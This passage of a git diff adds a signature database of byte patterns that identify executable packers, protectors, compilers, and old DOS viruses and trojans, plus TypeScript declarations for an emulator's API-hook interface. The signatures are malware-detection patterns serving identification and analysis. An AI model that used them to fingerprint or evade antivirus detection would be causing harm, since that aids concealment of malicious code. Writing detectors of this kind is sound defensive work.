?? ?? ?? 56 FC B8 21 35 CD 21 2E ?? ?? ?? ?? 2E ?? ?? ?? ?? 26 ?? ?? ?? ?? ?? ?? 74 ?? 8C D8 48 8E D8 +ep_only = true + +[Vx: FaxFree.Topo] +signature = FA 06 33 C0 8E C0 B8 ?? ?? 26 ?? ?? ?? ?? 50 8C C8 26 ?? ?? ?? ?? 50 CC 58 9D 58 26 ?? ?? ?? ?? 58 26 ?? ?? ?? ?? 07 FB +ep_only = true + +[Vx: GRUNT.2.Family] +signature = 48 E2 F7 C3 51 53 52 E8 DD FF 5A 5B 59 C3 B9 00 00 E2 FE C3 +ep_only = true + +[Vx: Hafen.1641] +signature = E8 ?? ?? 01 ?? ?? ?? CE CC 25 ?? ?? 25 ?? ?? 25 ?? ?? 40 51 D4 ?? ?? ?? CC 47 CA ?? ?? 46 8A CC 44 88 CC +ep_only = true + +[Vx: Haryanto] +signature = 81 EB 2A 01 8B 0F 1E 5B 03 CB 0E 51 B9 10 01 51 CB +ep_only = true + +[Vx: Heloween.1172] +signature = E8 ?? ?? 5E 81 EE ?? ?? 56 50 06 0E 1F 8C C0 01 ?? ?? 01 ?? ?? 80 ?? ?? ?? ?? 8B ?? ?? A3 ?? ?? 8A ?? ?? A2 ?? ?? B8 ?? ?? CD 21 3D +ep_only = true + +[Vx: Horse.1776] +signature = E8 ?? ?? 5D 83 ?? ?? 06 1E 26 ?? ?? ?? ?? BF ?? ?? 1E 0E 1F 8B F7 01 EE B9 ?? ?? FC F3 A6 1F 1E 07 +ep_only = true + +[Vx: Hymn.1865] +signature = E8 ?? ?? 5E 83 EE 4C FC 2E ?? ?? ?? ?? 4D 5A ?? ?? FA 8B E6 81 ?? ?? ?? FB 3B ?? ?? ?? ?? ?? 2E ?? ?? ?? ?? ?? 50 06 56 1E 0E 1F B8 00 C5 CD 21 +ep_only = true + +[Vx: Igor] +signature = 1E B8 CD 7B CD 21 81 FB CD 7B 75 03 E9 87 00 33 DB 0E 1F 8C +ep_only = true + +[Vx: Involuntary.1349] +signature = ?? BA ?? ?? B9 ?? ?? 8C DD ?? 8C C8 ?? 8E D8 8E C0 33 F6 8B FE FC ?? ?? AD ?? 33 C2 AB +ep_only = true + +[Vx: KBDflags.1024] +signature = 8B EC 2E 89 2E 24 03 BC 00 04 8C D5 2E 89 2E 22 +ep_only = true + +[Vx: Keypress.1212] +signature = E8 ?? ?? E8 ?? ?? E8 ?? ?? E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? EA ?? ?? ?? ?? 1E 33 DB 8E DB BB +ep_only = true + +[Vx: Kuku.448] +signature = AE 75 ED E2 F8 89 3E ?? ?? BA ?? ?? 0E 07 BF ?? ?? EB +ep_only = true + +[Vx: MTE (non-encrypted)] +signature = F7 D9 80 E1 FE 75 02 49 49 97 A3 ?? ?? 03 C1 24 FE 75 02 48 +ep_only = true + +[Vx: Ncu-Li.1688] +signature = 0E 1E B8 55 AA CD 21 3D 49 4C 74 ?? 0E 0E 1F 07 E8 +ep_only = true + +[Vx: Necropolis] +signature = 50 FC AD 33 C2 AB 8B D0 E2 F8 +ep_only = true + +[Vx: Necropolis.1963] +signature = B4 30 CD 21 3C 03 ?? ?? B8 00 12 CD 2F 3C FF B8 ?? ?? ?? ?? B4 4A BB 40 01 CD 21 ?? ?? FA 0E 17 BC ?? ?? E8 ?? ?? FB A1 ?? ?? 0B C0 +ep_only = true + +[Vx: Noon.1163] +signature = E8 ?? ?? 5B 50 56 B4 CB CD 21 3C 07 ?? ?? 81 ?? ?? ?? 2E ?? ?? 4D 5A ?? ?? BF 00 01 89 DE FC +ep_only = true + +[Vx: November 17.768] +signature = E8 ?? ?? 5E 81 EE ?? ?? 50 33 C0 8E D8 80 3E ?? ?? ?? 0E 1F ?? ?? FC +ep_only = true + +[Vx: Number One] +signature = F9 07 3C 53 6D 69 6C 65 3E E8 +ep_only = true + +[Vx: Phoenix.927] +signature = E8 00 00 5E 81 C6 ?? ?? BF 00 01 B9 04 00 F3 A4 E8 +ep_only = true + +[Vx: Predator.2448] +signature = 0E 1F BF ?? ?? B8 ?? ?? B9 ?? ?? 49 ?? ?? ?? ?? 2A C1 4F 4F ?? ?? F9 CC +ep_only = true + +[Vx: Quake.518] +signature = 1E 06 8C C8 8E D8 ?? ?? ?? ?? ?? ?? ?? B8 21 35 CD 21 81 +ep_only = true + +[Vx: SK] +signature = CD 20 B8 03 00 CD 10 51 E8 00 00 5E 83 EE 09 +ep_only = true + +[Vx: Slowload] +signature = 03 D6 B4 40 CD 21 B8 02 42 33 D2 33 C9 CD 21 8B D6 B9 78 01 +ep_only = true + +[Vx: Sonik Youth] +signature = 8A 16 02 00 8A 07 32 C2 88 07 43 FE C2 81 FB +ep_only = true + +[Vx: Spanz] +signature = E8 00 00 5E 81 EE ?? ?? 8D 94 ?? ?? B4 1A CD 21 C7 84 +ep_only = true + +[Vx: SYP] +signature = 47 8B C2 05 1E 00 52 8B D0 B8 02 3D CD 21 8B D8 5A +ep_only = true + +[Vx: TravJack.883] +signature = EB ?? 9C 9E 26 ?? ?? 51 04 ?? 7D ?? 00 ?? 2E ?? ?? ?? ?? 8C C8 8E C0 8E D8 80 ?? ?? ?? ?? 74 ?? 8A ?? ?? ?? BB ?? ?? 8A ?? 32 C2 88 ?? FE C2 43 81 +ep_only = true + +[Vx: Trivial.25] +signature = B4 4E FE C6 CD 21 B8 ?? 3D BA ?? 00 CD 21 93 B4 40 CD +ep_only = true + +[Vx: Trivial.46] +signature = B4 4E B1 20 BA ?? ?? CD 21 BA ?? ?? B8 ?? 3D CD 21 +ep_only = true + +[Vx: Trojan.Telefoon] +signature = 60 1E E8 3B 01 BF CC 01 2E 03 3E CA 01 2E C7 05 +ep_only = true + +[Vx: VCL] +signature = AC B9 00 80 F2 AE B9 04 00 AC AE 75 ?? E2 FA 89 +ep_only = true + +[Vx: VCL (encrypted)] +signature = 01 B9 ?? ?? 81 34 ?? ?? 46 46 E2 F8 C3 +ep_only = true + +[Vx: VCL (encrypted)] +signature = 01 B9 ?? ?? 81 35 ?? ?? 47 47 E2 F8 C3 +ep_only = true + +[Vx: VirusConstructor(IVP).based] +signature = E9 ?? ?? E8 ?? ?? 5D ?? ?? ?? ?? ?? 81 ED ?? ?? ?? ?? ?? ?? E8 ?? ?? 81 FC ?? ?? ?? ?? 8D ?? ?? ?? BF ?? ?? 57 A4 A5 +ep_only = true + +[Vx: VirusConstructor.based] +signature = BB ?? ?? B9 ?? ?? 2E ?? ?? ?? ?? 43 43 ?? ?? 8B EC CC 8B ?? ?? 81 ?? ?? ?? 06 1E B8 ?? ?? CD 21 3D ?? ?? ?? ?? 8C D8 48 8E D8 +ep_only = true + +[Vx: VirusConstructor.based] +signature = E8 ?? ?? 5D 81 ?? ?? ?? 06 1E E8 ?? ?? E8 ?? ?? ?? ?? 2E ?? ?? ?? ?? ?? ?? B4 4A BB FF FF CD 21 83 ?? ?? B4 4A CD 21 +ep_only = true + +[Vx: XPEH.4768] +signature = E8 ?? ?? 5B 81 ?? ?? ?? 50 56 57 2E ?? ?? ?? ?? ?? 2E ?? ?? ?? ?? ?? ?? B8 01 00 50 B8 ?? ?? 50 E8 +ep_only = true + +[WARNING -> TROJAN -> HuiGeZi] +signature = 55 8B EC 81 C4 ?? FE FF FF 53 56 57 33 C0 89 85 ?? FE FF FF +ep_only = true + +[WARNING -> TROJAN -> RobinPE] +signature = 60 6A 00 6A 20 6A 02 6A 00 6A 03 68 00 00 00 +ep_only = true + +[WARNING -> TROJAN -> XiaoHui] +signature = 60 9C E8 00 00 00 00 5D B8 ?? 85 40 00 2D ?? 85 40 00 +ep_only = true + +[WATCOM C/C++] +signature = E9 ?? ?? ?? ?? ?? ?? ?? ?? 57 41 +ep_only = true + +[WATCOM C/C++ 32 Run-Time System 1988-1994] +signature = FB 83 ?? ?? 89 E3 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 66 ?? ?? ?? 66 ?? ?? ?? ?? ?? BB ?? ?? ?? ?? 29 C0 B4 30 CD 21 +ep_only = true + +[WATCOM C/C++ 32 Run-Time System 1988-1995] +signature = E9 ?? ?? ?? ?? ?? ?? ?? ?? 57 41 54 43 4F 4D ?? 43 2F 43 2B 2B 33 32 ?? 52 75 +ep_only = true + +[WATCOM C/C++ 32 Run-Time System 1989, 1994] +signature = 0E 1F 8C C6 B4 ?? 50 BB ?? ?? CD 21 73 ?? 58 CD 21 72 +ep_only = true + +[WATCOM C/C++ Run-Time system+DOS4GW DOS Extender 1988-93] +signature = BF ?? ?? 8E D7 81 C4 ?? ?? BE ?? ?? 2B F7 8B C6 B1 ?? D3 +ep_only = true + +[WinRAR 32-bit SFX Module] +signature = E9 ?? ?? 00 00 00 00 00 00 90 90 90 ?? ?? ?? ?? ?? ?? 00 ?? 00 ?? ?? ?? ?? ?? FF +ep_only = true + +[WinUpack v0.30 beta -> By Dwing] +signature = E9 ?? ?? ?? ?? 42 79 44 77 69 6E 67 40 00 00 00 50 45 00 00 4C 01 02 +ep_only = false + +[WinZip (32-bit) 6.x] +signature = FF 15 FC 81 40 00 B1 22 38 08 74 02 B1 20 40 80 38 00 74 10 +ep_only = true + +[with added 'PK' signature] +signature = C7 ?? ?? ?? ?? ?? 8C D8 05 +ep_only = true + +[WWPACK v3.00, v3.01 (Relocations pack)] +signature = BE ?? ?? BA ?? ?? BF ?? ?? B9 ?? ?? 8C CD 8E DD 81 ED ?? ?? 06 06 8B DD 2B DA 8B D3 FC +ep_only = true + +[WWPack32 v1.00, v1.11, v1.12, v1.20] +signature = 53 55 8B E8 33 DB EB 60 0D 0A 0D 0A 57 57 50 61 63 6B 33 32 +ep_only = true + +[WWPack32 v1.x] +signature = 53 55 8B E8 33 DB EB 60 +ep_only = true + +[X-Pack v1.4.2] +signature = 72 ?? C3 8B DE 83 ?? ?? C1 ?? ?? 8C D8 03 C3 8E D8 8B DF 83 ?? ?? C1 ?? ?? 8C C0 03 C3 8E C0 C3 +ep_only = false + +[X-PEOR v0.99b] +signature = E8 00 00 00 00 5D 8B CD 81 ED 7A 29 40 00 89 AD 0F 6D 40 00 +ep_only = true + +[X-PEOR v0.99b] +signature = E8 ?? ?? ?? ?? 5D 8B CD 81 ED 7A 29 40 ?? 89 AD 0F 6D 40 +ep_only = true + +[XCR v0.12] +signature = 60 9C E8 ?? ?? ?? ?? 8B DD 5D 81 ED ?? ?? ?? ?? 89 9D +ep_only = true + +[XPack 1.52 - 1.64] +signature = 8B EC FA 33 C0 8E D0 BC ?? ?? 2E ?? ?? ?? ?? 2E ?? ?? ?? ?? EB +ep_only = true + +[XPack 1.67 [com]] +signature = E9 53 00 FF FD FF FB FF F9 FF BC 03 00 8B E5 4C 4C C3 +ep_only = true + +[xPEP 0.3x -> xIkUg] +signature = 55 53 56 51 52 57 E8 16 00 00 00 +ep_only = true + +[Xtreme-Protector v1.05] +signature = E9 ?? ?? 00 00 00 00 00 00 00 00 +ep_only = true + +[y0da's Crypter v1.x / Modified] +signature = 60 E8 00 00 00 00 5D 81 ED ?? ?? ?? ?? B9 ?? ?? 00 00 8D BD ?? ?? ?? ?? 8B F7 AC +ep_only = true + +[yoda's Protector 1.0x-->Ashkbiz Danehkar] +signature = 55 8B EC 53 56 57 E8 03 00 00 00 EB 01 +ep_only = true + +[ZCode Win32/PE Protector v1.01] +signature = E9 12 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? E9 FB FF FF FF C3 68 ?? ?? ?? ?? 64 FF 35 +ep_only = true + +[Zortech C] +signature = E8 ?? ?? 2E FF ?? ?? ?? FC 06 +ep_only = true + +[Zortech C v2.00 1988, 1989] +signature = FA B8 ?? ?? 8E D8 8C ?? ?? ?? 26 8B ?? ?? ?? 89 1E ?? ?? 8B D8 2B 1E ?? ?? 89 1E +ep_only = true + +[Zortech C v3.0] +signature = FA FC B8 ?? ?? ?? 8C C8 8E D8 +ep_only = true + +[Zurenava DOS Extender v0.45, v0.49] +signature = BE ?? ?? BF ?? ?? B9 ?? ?? 56 FC F3 A5 5F E9 +ep_only = true + +[[MSLRH] V0.31 -> emadicius] +signature = 60 D1 CB 0F CA C1 CA E0 D1 CA 0F C8 EB 01 F1 +ep_only = true + +[EXEϲ -> yy66] +signature = 68 78 18 40 00 E8 F0 FF FF FF 00 00 00 00 00 00 30 +ep_only = true + +[aPack v0.98b -> Jibz] +signature = 93 07 1F 05 ?? ?? 8E D0 BC ?? ?? EA +ep_only = false + +[aPack v0.98b [com]] +signature = BE ?? ?? BF ?? ?? 8B CF FC 57 F3 A4 C3 BF ?? ?? 57 57 BE ?? ?? B2 ?? BD ?? ?? 50 A4 +ep_only = false + +[aPack v0.98b [exe]] +signature = 93 07 1F 05 ?? ?? 8E D0 BC ?? ?? EA +ep_only = false + +[AsCrypt v0.1 -> SToRM - needs to be added] +signature = 80 ?? ?? ?? 83 ?? ?? ?? ?? 90 90 90 83 ?? ?? E2 +ep_only = false + +[AsCrypt v0.1 -> SToRM - needs to be added] +signature = 83 ?? ?? E2 ?? ?? E2 ?? FF +ep_only = false + +[AsCrypt v0.1 -> SToRM - needs to be added] +signature = 80 ?? ?? ?? 83 ?? ?? ?? ?? 90 90 90 E2 +ep_only = false + +[AsCrypt v0.1 -> SToRM - needs to be added] +signature = 81 ?? ?? ?? ?? ?? ?? 83 ?? ?? ?? ?? ?? ?? ?? 83 ?? ?? E2 ?? EB +ep_only = false + +[ASProtect v2.0] +signature = 68 01 ?? 40 00 E8 01 00 00 00 C3 C3 +ep_only = false + +[Crunch 4] +signature = EB 10 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 55 E8 +ep_only = false + +[Crunch 5 Fusion 4] +signature = EB 15 03 ?? ?? ?? 06 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 68 ?? ?? ?? ?? 55 E8 +ep_only = false + +[Dev-C++ v5] +signature = 55 89 E5 83 EC 14 6A ?? FF 15 ?? ?? ?? 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 +ep_only = false + +[ENIGMA Protector -> Sukhov Vladimir] +signature = 45 6E 69 67 6D 61 20 70 72 6F 74 65 63 74 6F 72 20 76 31 +ep_only = false + +[ENIGMA Protector V1.X-> Sukhov Vladimir] +signature = 45 6E 69 67 6D 61 20 70 72 6F 74 65 63 74 6F 72 20 76 31 +ep_only = false + +[EXECryptor V2.1X -> softcomplete.com] +signature = 83 C6 14 8B 55 FC E9 ?? FF FF FF +ep_only = false + +[EXECryptor V2.2X -> softcomplete.com] +signature = FF E0 E8 04 00 00 00 FF FF FF FF 5E C3 00 +ep_only = false + +[eXPressor v1.2 -> CGSoftLabs] +signature = 45 78 50 72 2D 76 2E 31 2E 32 2E +ep_only = false + +[eXPressor v1.3 -> CGSoftLabs] +signature = 45 78 50 72 2D 76 2E 31 2E 33 2E +ep_only = false + +[eXPressor v1.4 -> CGSoftLabs] +signature = 65 58 50 72 2D 76 2E 31 2E 34 2E +ep_only = false + +[FASM v1.5x] +signature = 6A 00 FF 15 ?? ?? 40 00 A3 ?? ?? 40 00 +ep_only = false + +[Free Pascal 0.99.10] +signature = E8 00 6E 00 00 55 89 E5 8B 7D 0C 8B 75 08 89 F8 8B 5D 10 29 +ep_only = false + +[Free Pascal v1.0.10 (win32 console)] +signature = C6 05 ?? ?? ?? 00 01 E8 ?? ?? 00 00 C6 05 ?? ?? ?? 00 00 E8 ?? ?? 00 00 50 E8 00 00 00 00 FF 25 ?? ?? ?? 00 55 89 E5 ?? EC +ep_only = false + +[Free Pascal v1.06] +signature = C6 05 ?? ?? 40 00 ?? E8 ?? ?? 00 00 +ep_only = false + +[Gleam 1.00] +signature = 83 EC 0C 53 56 57 E8 24 02 00 +ep_only = false + +[kkrunchy v0.17 -> F. Giesen] +signature = FC FF 4D 08 31 D2 8D 7D 30 BE +ep_only = false + +[MEW 10 by Northfox] +signature = 33 C0 E9 ?? ?? FF FF ?? 1C ?? ?? 40 +ep_only = false + +[MEW 11 SE v1.1] +signature = E9 ?? ?? ?? FF 0C ?? 00 00 00 00 00 00 00 00 00 00 +ep_only = false + +[Microsoft Visual Basic 5.0] +signature = FF FF FF 00 00 00 00 00 00 30 00 00 00 40 00 00 00 00 00 00 +ep_only = false + +[Microsoft Visual Basic v5.0 - v6.0] +signature = FF 25 ?? ?? ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? FF FF FF +ep_only = false + +[Microsoft Visual Basic v5.0 - v6.0] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 00 00 ?? 00 00 00 30 ?? 00 +ep_only = false + +[Microsoft Visual Basic v6.0] +signature = FF 25 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? FF FF FF ?? ?? ?? ?? ?? ?? 30 +ep_only = false + +[Microsoft Visual C 5.0] +signature = 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 C4 A8 53 56 57 +ep_only = false + +[Microsoft Visual C++ 6.0 DLL (Debug)] +signature = 55 8B EC 53 8B 5D 08 56 8B 75 0C 57 8B 7D 10 85 F6 ?? ?? 83 +ep_only = false + +[Microsoft Visual C++ 7.0 DLL] +signature = 55 8B EC 53 8B 5D 08 56 8B 75 0C 85 F6 57 8B 7D 10 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 01 +ep_only = false + +[Microsoft Visual C++ v6.0] +signature = 55 8B EC 6A FF 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 64 89 25 ?? ?? ?? ?? 83 EC ?? 53 56 57 +ep_only = false + +[Microsoft Visual C++ v7.0 DLL] +signature = 55 8B EC 53 8B 5D 08 56 8B 75 0C 57 8B 7D 10 ?? ?? 83 +ep_only = false + +[MoleBox v2.0] +signature = E8 ?? ?? ?? ?? 60 E8 4F +ep_only = false + +[nSpack V2.3 -> LiuXingPing] +signature = 9C 60 70 61 63 6B 24 40 +ep_only = false + +[nSpack V2.x -> LiuXingPing] +signature = 9C 60 E8 00 00 00 00 5D B8 07 00 00 00 2B E8 8D B5 +ep_only = false + +[NsPack V2.X -> LiuXingPing] +signature = 6E 73 70 61 63 6B 24 40 +ep_only = false + +[PE Spin v0.4x] +signature = EB 01 68 60 E8 00 00 00 00 8B +ep_only = false + +[PE-Protect 0.9 by Cristoph Gabler 1998] +signature = 50 45 2D 50 52 4F 54 45 43 54 20 30 2E 39 +ep_only = false + +[PeStubOEP v1.x] +signature = E8 05 00 00 00 33 C0 40 48 C3 E8 05 +ep_only = false + +[PeStubOEP v1.x] +signature = 90 33 C9 33 D2 B8 ?? ?? ?? 00 B9 FF +ep_only = false + +[PeStubOEP v1.x] +signature = ?? ?? B8 ?? ?? ?? 00 FF E0 +ep_only = false + +[Petite 1.3] +signature = 66 9C 60 50 8D 88 00 F0 00 00 8D 90 04 16 00 00 8B DC 8B E1 +ep_only = false + +[Petite 1.4] +signature = 66 9C 60 50 8B D8 03 00 68 54 BC 00 00 6A 00 FF 50 14 8B CC +ep_only = false + +[Petite 2.1] +signature = 64 FF 35 00 00 00 00 64 89 25 00 00 00 00 66 9C 60 50 8B D8 +ep_only = false + +[PolyCrypt PE - 2.1.4b/2.1.5 -> JLab Software Creations (h-oep)] +signature = 91 8B F4 AD FE C9 80 34 08 ?? E2 FA C3 60 E8 ED FF FF FF EB +ep_only = false + +[PolyEnE 0.01+ by Lennart Hedlund] +signature = 60 00 00 E0 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 60 00 00 E0 +ep_only = false + +[Private EXE v2.0a] +signature = 53 E8 ?? ?? ?? ?? 5B 8B C3 2D +ep_only = false + +[RAR-SFX Archive (1)] +signature = 4D 5A ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 52 53 46 58 +ep_only = false + +[RatPacker (Glue) stub] +signature = 40 20 FF ?? ?? ?? ?? ?? ?? ?? ?? BE ?? 60 40 ?? 8D BE ?? B0 FF FF +ep_only = false + +[RCryptor v1.1 --> Vaska] +signature = 8B 04 24 83 E8 4F 68 ?? ?? ?? ?? FF D0 B8 ?? ?? ?? ?? 3D ?? ?? ?? ?? 74 06 80 30 ?? 40 EB F3 +ep_only = false + +[Safe 2.0] +signature = 83 EC 10 53 56 57 E8 C4 01 00 +ep_only = false + +[SafeDisc v4] +signature = 00 00 00 00 00 00 00 00 00 00 00 00 42 6F 47 5F +ep_only = false + +[Setup2Go Installer Stub] +signature = 5B 53 45 54 55 50 5F 49 4E 46 4F 5D 0D 0A 56 65 72 +ep_only = false + +[Shrinker 3.2] +signature = 55 8B EC 56 57 75 65 68 00 01 00 00 E8 F1 E6 FF FF 83 C4 04 +ep_only = false + +[Shrinker 3.3] +signature = 00 00 55 8B EC 56 57 75 65 68 00 01 00 00 E8 +ep_only = false + +[Shrinker 3.4] +signature = 55 8B EC 56 57 75 6B 68 00 01 00 00 E8 11 0B 00 00 83 C4 04 +ep_only = false + +[SPLayer v0.08] +signature = 8D 40 00 B9 ?? ?? ?? ?? 6A ?? 58 C0 0C ?? ?? 48 ?? ?? 66 13 F0 91 3B D9 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 +ep_only = false + +[Trilobyte's JPEG graphics Library] +signature = 84 10 FF FF FF FF 1E 00 01 10 08 00 00 00 00 00 +ep_only = false + +[Upack v0.29 Beta ~ v0.31 Beta -> Sign by hot_UNP] +signature = BE 88 01 ?? ?? AD 8B F8 95 AD 91 F3 A5 AD B5 ?? F3 +ep_only = false + +[Upack v0.32 Beta (Patch) -> Sign by hot_UNP] +signature = BE 88 01 ?? ?? AD 50 ?? AD 91 F3 A5 +ep_only = false + +[Upack v0.32 Beta -> Sign by hot_UNP] +signature = BE 88 01 ?? ?? AD 50 ?? AD 91 ?? F3 A5 +ep_only = false + +[Upack v0.32 Beta -> Sign by hot_UNP] +signature = BE 88 01 ?? ?? AD 50 ?? ?? AD 91 F3 A5 +ep_only = false + +[Upack v0.35 alpha -> Sign by hot_UNP] +signature = 8B F2 8B CA 03 4C 19 1C 03 54 1A 20 +ep_only = false + +[Upack v0.36 alpha -> Sign by hot_UNP] +signature = AB E2 E5 5D 59 8B 76 68 51 59 46 AD 85 C0 +ep_only = false + +[Upack v0.37 ~ v0.38 Beta (Strip base relocation table Option)-> Sign by hot_UNP] +signature = 53 18 33 C0 55 40 51 D3 E0 8B EA 91 FF 56 4C 33 +ep_only = false + +[UPX$HiT 0.0.1 -> sibaway7@yahoo.com] +signature = E2 FA 94 FF E0 61 00 00 00 00 00 00 00 +ep_only = false + +[VIRUS - I-Worm.Hybris] +signature = EB 16 A8 54 ?? ?? 47 41 42 4C 4B 43 47 43 ?? ?? ?? ?? ?? ?? 52 49 53 ?? FC 68 4C 70 40 ?? FF 15 +ep_only = false + +[WinUpack v0.30 beta -> By Dwing (h)] +signature = E9 ?? ?? ?? ?? 42 79 44 77 69 6E 67 40 00 00 00 50 45 00 00 +ep_only = false + +[ASPack 1.08] +signature = 90 90 90 75 01 90 E9 +ep_only = true + +[ASPack v1.06b] +signature = 90 90 90 75 00 E9 +ep_only = true + +[ASPack v1.06b] +signature = 90 75 00 E9 +ep_only = true + +[ASPack v1.06b] +signature = 90 90 75 00 E9 +ep_only = true + +[ASPack v1.07b] +signature = 90 90 75 ?? E9 +ep_only = true + +[ASPack v1.07b] +signature = 90 90 90 75 ?? E9 +ep_only = true + +[ASPack v1.07b] +signature = 90 75 ?? E9 +ep_only = true + +[ASPack v1.08] +signature = 90 75 01 FF E9 +ep_only = true + +[ASPack v1.08] +signature = 90 90 90 75 01 FF E9 +ep_only = true + +[ASPack v1.08] +signature = 90 90 75 01 FF E9 +ep_only = true + +[ASPack v1.08.01] +signature = 90 90 75 ?? 90 E9 +ep_only = true + +[ASPack v1.08.01] +signature = 90 75 ?? 90 E9 +ep_only = true + +[ASPack v1.08.01] +signature = 90 90 90 75 ?? 90 E9 +ep_only = true + +[ASPack v1.08.02] +signature = 90 90 75 01 90 E9 +ep_only = true + +[ASPack v1.08.02] +signature = 90 75 01 90 E9 +ep_only = true + +[ASPack v1.08.04] +signature = 60 E8 ?? ?? ?? ?? EB +ep_only = true + +[ASPack v2.11] +signature = 60 E9 3D 04 00 00 +ep_only = true + +[ASProtect v1.1 BRS] +signature = 60 E9 ?? 05 +ep_only = true + +[ASProtect v1.1 MTEb] +signature = 90 60 E9 ?? 04 +ep_only = true + +[ASProtect v1.2] +signature = 68 01 ?? ?? ?? C3 +ep_only = true + +[ASProtect vx.x] +signature = 90 60 ?? ?? ?? 00 00 +ep_only = true + +[Crunch V5.0 -> Bitarts] +signature = EB 15 03 00 00 00 06 +ep_only = true + +[Crunch/PE v5.0] +signature = EB 15 03 ?? ?? ?? 06 +ep_only = false + +[EP v2.0] +signature = 6A ?? 60 E9 01 01 +ep_only = true + +[EXEPACK v5.31.009 (LINK v3.69)] +signature = 8B E8 8C C0 +ep_only = true + +[Hasp 4 envelope dongle (Alladin)] +signature = 10 02 D0 51 0F 00 83 +ep_only = true + +[Hide&Protect V1.0X-> SoftWar Company] +signature = 90 90 90 E9 D8 +ep_only = true + +[Mew 10 v1.0 (Eng) -> Northfox] +signature = 33 C0 E9 ?? ?? ?? FF +ep_only = true + +[MEW 11 SE v1.1 -> Northfox [HCC]] +signature = E9 ?? ?? ?? FF 0C +ep_only = true + +[NeoLite v1.0] +signature = E9 9B 00 00 00 A0 +ep_only = true + +[Neolite v2.0] +signature = E9 A6 00 00 00 +ep_only = true + +[NFO v1.x modified] +signature = 60 9C 8D 50 +ep_only = true + +[Obsidium v1.0.0.61] +signature = E8 AF 1C 00 00 +ep_only = true + +[PCIENC Cryptor] +signature = 06 50 43 49 45 4E +ep_only = false + +[PEQuake V0.06 -> forgat] +signature = E8 A5 00 00 00 +ep_only = true + +[PESHiELD v0.25] +signature = 60 E8 2B 00 00 00 +ep_only = true + +[pex V0.99 -> params] +signature = E9 F5 00 00 00 +ep_only = true + +[PROTECT! EXE/COM v5.0] +signature = 1E 0E 0E 1F 07 +ep_only = true + +[Safeguard 1.0 -> Simonzh] +signature = E8 00 00 00 00 EB 29 +ep_only = true + +[Symantec C v2.10, v4.00 or Zortech C v3.0r1] +signature = FA FC B8 ?? ?? 8E D8 +ep_only = true + +[TAV] +signature = E8 ?? ?? 4D 5A CB +ep_only = true + +[tElock v0.7x - v0.84] +signature = 60 E8 00 00 C3 83 +ep_only = true + +[tElock v0.92a] +signature = E9 7E E9 FF FF 00 +ep_only = true + +[tElock v0.95] +signature = E9 D5 E4 FF FF 00 +ep_only = true + +[tElock v0.96] +signature = E9 59 E4 FF FF 00 +ep_only = true + +[tElock v0.98b1] +signature = E9 25 E4 FF FF +ep_only = true + +[tElock v0.98b2] +signature = E9 1B E4 FF FF +ep_only = true + +[tElock v1.00] +signature = E9 E5 E2 FF FF +ep_only = true + +[Turbo Basic v1.0 1987] +signature = 2E 8C ?? ?? ?? 2E C7 +ep_only = true + +[TXT2COM] +signature = E8 ?? ?? CD 20 +ep_only = true + +[UNITA3 (tm) by Sanitary Equipment Research] +signature = E8 ?? ?? 4D 5A 3E +ep_only = true + +[Unknown Packer -> Northfox] +signature = 54 59 68 61 7A 79 +ep_only = true + +[Upack_Patch -> Sign by hot_UNP] +signature = 2A A3 F2 54 CE +ep_only = false + +[VOB ProtectCD 5] +signature = 36 3E 26 8A C0 60 E8 +ep_only = true + +[Vx: GRUNT.1.Family] +signature = 01 B9 ?? 00 31 17 +ep_only = true + diff --git a/Build/hooks/API.d.ts b/Build/hooks/API.d.ts new file mode 100644 index 0000000..6ec600b --- /dev/null +++ b/Build/hooks/API.d.ts @@ -0,0 +1,4 @@ +declare interface String { + format(val : object): string; + format(...args: any[]): string; +} diff --git a/Build/hooks/ApiHook.d.ts b/Build/hooks/ApiHook.d.ts new file mode 100644 index 0000000..9d00af7 --- /dev/null +++ b/Build/hooks/ApiHook.d.ts @@ -0,0 +1,99 @@ +/** + * + * + * @interface EmuAPI + */ +declare interface EmuAPI { + + + + /** + * Is Current PE x64 . + * + * @type {boolean} + * @memberof EmuAPI + */ + public isx64 : boolean; + + /** + * Read X86 Register + * + * @param {number} Register - REG_{RegName} + * @memberof EmuAPI + */ + public ReadReg(Register : number) : number; + + + /** + * + * Set Register Value . + * + * @param {number} Register + * @param {number} Value + * @returns {boolean} + * @memberof EmuAPI + */ + public SetReg(Register : number, Value : number) : boolean; + + /** + * return the top of Stack + * and Add 4 or 8 to Stack Pointer + * + * @returns {number} + * @memberof EmuAPI + */ + public pop() : number; + + /** + * Strop the Cmulator . + * + * @memberof EmuAPI + */ + public Stop(); void; +} + +/** + * + * + * @class ApiHook + */ +declare class ApiHook{ + + /** + *Creates an instance of ApiHook. + * @memberof ApiHook + */ + constructor(); + + + /** + * + * + * @param {EmuAPI} Emu + * @param {number} Address + * @returns {boolean} + * @memberof ApiHook + */ + public OnCallBack: (Emu: EmuAPI, Address: number) => boolean; + + + /** + * + * + * @param {string} LibraryName + * @param {string} ApiName + * @returns {boolean} + * @memberof ApiHook + */ + public install(LibraryName: string, ApiName: string): boolean; + /** + * + * + * @param {string} LibraryName + * @param {number} Ordinal + * @returns {boolean} + * @memberof ApiHook + */ + public install(LibraryName: string, Ordinal : number): boolean; + +} diff --git a/Build/hooks/advapi32.js b/Build/hooks/advapi32.js new file mode 100644 index 0000000..8dd2e9b --- /dev/null +++ 